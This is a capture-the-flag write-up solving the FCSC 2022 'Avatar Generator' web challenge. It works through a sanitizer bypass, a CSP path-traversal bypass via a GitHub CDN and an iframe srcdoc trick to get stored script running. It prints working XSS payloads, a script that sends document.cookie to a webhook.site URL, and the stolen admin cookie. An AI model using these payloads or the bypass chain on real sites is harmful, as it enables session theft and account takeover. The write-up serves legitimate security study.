Difficulty: 3 stars.
Description: Le hasard fait parfois bien les choses.
url: https://avatar-generator.france-cybersecurity-challenge.fr/
When going to the website challenge, we can find an avatar generator based on three arguments:
Due to the challenge's description and the fact that the generation is based on a seed, we can quickly think that it is going to be a crypto web challenge.
Clicking on the "Generate random avatar" button will randomize all the values which is not really interesting. At the opposite, the "Share avatar" button will redirect us to twitter and propose us to tweet the following:
My new avatar created with Avatar-Generator 😀
https://avatar-generator.france-cybersecurity-challenge.fr/?seed=490300&primary=%233498db&secondary=%231abc9c #CTF #FCSC2022
As we can see, the URL contains parameters that are familiar to us. Trying to load it and playing with those variables make us understand that we can control them if we put valid values (but XSS isn't working).
Going to the other page, we can notice that it is possible to report a URL. In CTF Challenge, this is a typical XSS scenario.
The last page is a simple login connection for administrators.
Testing some default credentials gives nothing interesting except that, after trying to login, the server sets us a "PHPSESSID" cookie without "HttpOnly" flag, confirming that we need to exfiltrate the cookie.
Now that we have finished clicking everywhere, we are going to take a look to the source code of the home page and more specifically to JavaScript files. The page works using the following:
First of all, let's look the app.js file.
let currentSeed = 0
let currentPrimaryColor = ""
let currentSecondaryColor = ""
let shareText = 'My new avatar created with Avatar-Generator 😀'
let shareHashtag = 'CTF,FCSC2022'
function randomSeed(){
return Math.floor(Math.random() * 1000000);
}
function makePRNG(seed){
return function(){
var x = Math.sin(seed++) * 10000
return x - Math.floor(x)
}
}
function getURLParams(){
let url = new URL(window.location.href)
return url.searchParams
}
function updateSettings(seed, primaryColor, secondaryColor){
currentSeed = seed
currentPrimaryColor = primaryColor
currentSecondaryColor = secondaryColor
document.getElementById('seed').innerHTML = integerPolicy.createHTML(currentSeed)
document.getElementById('primaryColor').innerHTML = colorPolicy.createHTML(currentPrimaryColor)
document.getElementById('secondaryColor').innerHTML = colorPolicy.createHTML(currentSecondaryColor)
document.getElementById('topColor').style.backgroundColor = currentPrimaryColor
let notyf = new Notyf()
notyf.confirm('New avatar generated!')
}
function generateAvatar(seed, primaryColor, secondaryColor){
let options = new minBlock({
canvasID: 'avatar',
color: {
primary: primaryColor,
secondary: secondaryColor
},
random: makePRNG(seed)
})
updateSettings(seed, options.color.primary, options.color.secondary)
}
function generateRandomAvatar(){
generateAvatar(randomSeed(), null, null)
}
function makeAvatarUrl(){
let baseUrl = document.location.href.split('?')[0]
let primary = encodeURIComponent(currentPrimaryColor)
let secondary = encodeURIComponent(currentSecondaryColor)
return escape(`${baseUrl}?seed=${currentSeed}&primary=${primary}&secondary=${secondary}`)
}
function shareAvatar(){
link = 'https://twitter.com/share?text=' + shareText + '&url=' + makeAvatarUrl() + '&hashtags=' + shareHashtag
window.open(link, '_blank').focus();
}
document.addEventListener('DOMContentLoaded', function(){
debug = false
if (window.location.hash.substr(1) == 'debug'){
debug = true
}
try {
params = getURLParams()
let seed = params.get('seed') === null ? randomSeed() : params.get('seed')
let primaryColor = params.get('primary')
let secondaryColor = params.get('secondary')
generateAvatar(seed, primaryColor, secondaryColor)
}
catch(error){
if (debug) {
let errorMessage = "Error! An error occured while loading the page... Details: " + error
document.querySelector('.container').innerHTML = errorMessage
}
else {
generateRandomAvatar()
}
}
document.getElementById('randomAvatar').addEventListener('click', generateRandomAvatar)
document.getElementById('shareAvatar').addEventListener('click', shareAvatar)
})
Most of the content of the file isn't really interesting. However, at the bottom of this file, we can notice a debugging mode which can be enabled by adding "#debug" to the URL!
document.addEventListener('DOMContentLoaded', function(){
debug = false
if (window.location.hash.substr(1) == 'debug'){
debug = true
}
...
catch(error){
if (debug) {
let errorMessage = "Error! An error occured while loading the page... Details: " + error
document.querySelector('.container').innerHTML = errorMessage
}
else {
generateRandomAvatar()
}
}
...
})
Activating it allows us to inject invalid values that are reflected.
Before continuing, we are going to make a short explanation about Trusted Types Policies.
Because CSP can't secure DOM exploitation, trusted types policies are used to secure the code from DOM vulnerabilities. In that way, developers can control DOM using one simple function for each type of interaction (ie: createHTML, createScriptURL...).
For example:
const attackerInput = '<svg onload="alert(/cross-site-scripting/)" />';
const el = document.createElement('div');
if (typeof trustedTypes !== 'undefined') {
const sanitizer = trustedTypes.createPolicy('foo', {
createHTML: (input) => DOMPurify.sanitize(input)
});
el.innerHTML = sanitizer.createHTML(attackerInput); // Puts the sanitized value into the DOM.
el.innerHTML = attackerInput; // throws a TypeError.
}
More information: https://w3c.github.io/webappsec-trusted-types/dist/spec/
Well, now that everything is clear, we are going to leave the app.js file for now and take a look to the second interesting file, policies.js. As we said earlier, this file sanitizes and verify all the DOM interaction with the page using trusted types policies.
const RE_HEX_COLOR = /^#[0-9A-Fa-f]{6}$/i
const RE_INTEGER = /^\d+$/
function sanitizeHTML(html){
return html
.replace(/&/, "&")
.replace(/</, "<")
.replace(/>/, ">")
.replace(/"/, """)
.replace(/'/, "'")
}
let sanitizePolicy = TrustedTypes.createPolicy('default', {
createHTML(html) {
return sanitizeHTML(html)
},
createURL(url) {
return url
},
createScriptURL(url) {
return url
}
})
let colorPolicy = TrustedTypes.createPolicy('color', {
createHTML(color) {
if (RE_HEX_COLOR.test(color)){
return color
}
throw new TypeError(`Invalid color '${color}'`);
}
})
let integerPolicy = TrustedTypes.createPolicy('integer', {
createHTML(integer) {
if (RE_INTEGER.test(integer)){
return integer
}
throw new TypeError(`Invalid integer '${integer}'`);
}
})
In this file, three policies are defined :
All three are very interesting for us because they represent all the variables we can interact with. The "integer" policy and "color" policy are the reason why we weren't able to inject specific values in the URL and "default" policy the reason why our XSS payloads didn't work.
Now that we have a good understanding of all the application workflow, we are going to search for the XSS. As we said earlier, we can reflect our input on the page using the debug mode, but it is sanitized due to default trusted type policy. Our first step is then to find a way bypass the filter.
function sanitizeHTML(html){
return html
.replace(/&/, "&")
.replace(/</, "<")
.replace(/>/, ">")
.replace(/"/, """)
.replace(/'/, "'")
}
At a first look to the sanitize function, we could think that it's not possible to inject any HTML tags, but, like in the "MC Players" challenge, it's a trap! In fact, the developer missed something really important. When replacing values in a string using regex, it must and with "/g" which means "globals". If this is not present, it will only replace the first match! We can then easily bypass the filter by first injecting all the sanitized chars.
<"'&><img src=x>
https://avatar-generator.france-cybersecurity-challenge.fr/?seed=%3C%22%27%26%3E%3Cimg%20src=x%3E&primary=%233498db&secondary=%231abc9c#debug
At this point, we could think that we can easily get an XSS by injecting <script>alert()</script>
but doing that reveals to us that CSP are defined in the HTML.
<meta http-equiv="Content-Security-Policy" content="trusted-types default color integer">
<meta http-equiv="Content-Security-Policy" content="script-src rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/ 'self'; object-src 'none'; trusted-types default color integer;">
As we can see, script-src ... 'self'
is blocking us from loading script and the absence of inline-code
to use payload like <img src=x onerror=alert()>
The CSP we found just before have something really interesting. It allows us to load script files from rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/
. Why is this so interesting? Because rawcdn.githack.com is a CDN (Content Delivery Network) which is directly linked to Github. So, if we are able to bypass the directory restriction, we could be able to load the everything we want!
The trick we need to use is well known in CSP bypass. It abuses on the fact that URL encoded path traversal URLs won't be parsed before applying the CSP. So, by using URL like this, we can bypass this restriction:
http://rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%2F..%2F..%2F..%2Fuser%2Frepo%2Ftag%2Ffile.js
Creating a new Github repository, adding a .js file containing classic cookie exfiltration payload and adding tags, allow us (not all the time for a reason that I don't know) to access it using rawcdn.githack.com CDN.
document.location.href = "https://webhook.site/7e905f7b-b866-4585-b922-473c301025c2?".concat(document.cookie)
XSS URL: http://raw.githack.com/Kevin-Mizu/xss/v1.0.0/xss.js
Loading it using our bypass and ... that's not working 🥲.
<'"><script src="https://rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%2F..%2F..%2F..%2FKevin-Mizu/xss/v1.0.0/xss.js"></script>
The reason why our injection is not working is because most modern browsers using innerHTML
function will by default refuse script tags to be loaded.
At this point, I wasted a lot of time trying to overwrite trusted types policies using DOM Clobering because, on Firefox, the trusted types policies CSP headers are not valid and allows several bypass. But after getting user-agent
header of the bot and finding that he was running on chrome, I decided to stop.
<'"><img src="https://webhook.site/7e905f7b-b866-4585-b922-473c301025c2">
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4863.0 Safari/537.36
So, what can we do? In fact, innerHTML
is only blocking load of <script>
tag but not all of them. That's why I came up with an idea: "If I load an iframe which has the same domain and contains the tag, then I would be able to exfiltrate the cookie!". It is really important that the iframe has the same domain as the website because Same Origin Policies in place by the browser would block all cross-site interaction and the XSS would be useless. To do so, we can use the srcdoc
attribute of the iframe:
<iframe srcdoc="<script src='URL'></script>"></iframe>
The final step is to use the Github repository previously created with all those bypasses and send the URL to the bot! (Do not forget to correctly URL encode srcdoc
content or it won't be loaded correctly in the iframe)
<'"><iframe srcdoc="<script src="https://rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%2F..%2F..%2F..%2FKevin-Mizu/xss/v1.0.0/xss.js"></script>"></iframe>
Final url: https://avatar-generator.france-cybersecurity-challenge.fr/index.php?seed=1&primary=%23bbbbbb&secondary=%3C%22%27%3E%3Ciframe%20srcdoc%3D%22%3Cscript%20src%3D%27https%3A%2F%2Frawcdn.githack.com%2Fcaroso1222%2Fnotyf%2Fv2.0.1%2Fdist%2F..%252F..%252F..%252F..%252FKevin-Mizu%2Fxss%2Fv1.0.0%2Fxss.js%27%3E%3C%2Fscript%3E%27%3E%3C%2Fscript%3E%22%3E%3C%2Fiframe%3E?#debug
After a couple of seconds, we receive the admin cookie:
admin:d13e3bde2f9a8ff1f3ef377d16a5da5f26840953
Using it on the admin panel:
Flag: FCSC{2d5e4d79789a5a9a68753350b72202478b2f9bf8}
🎉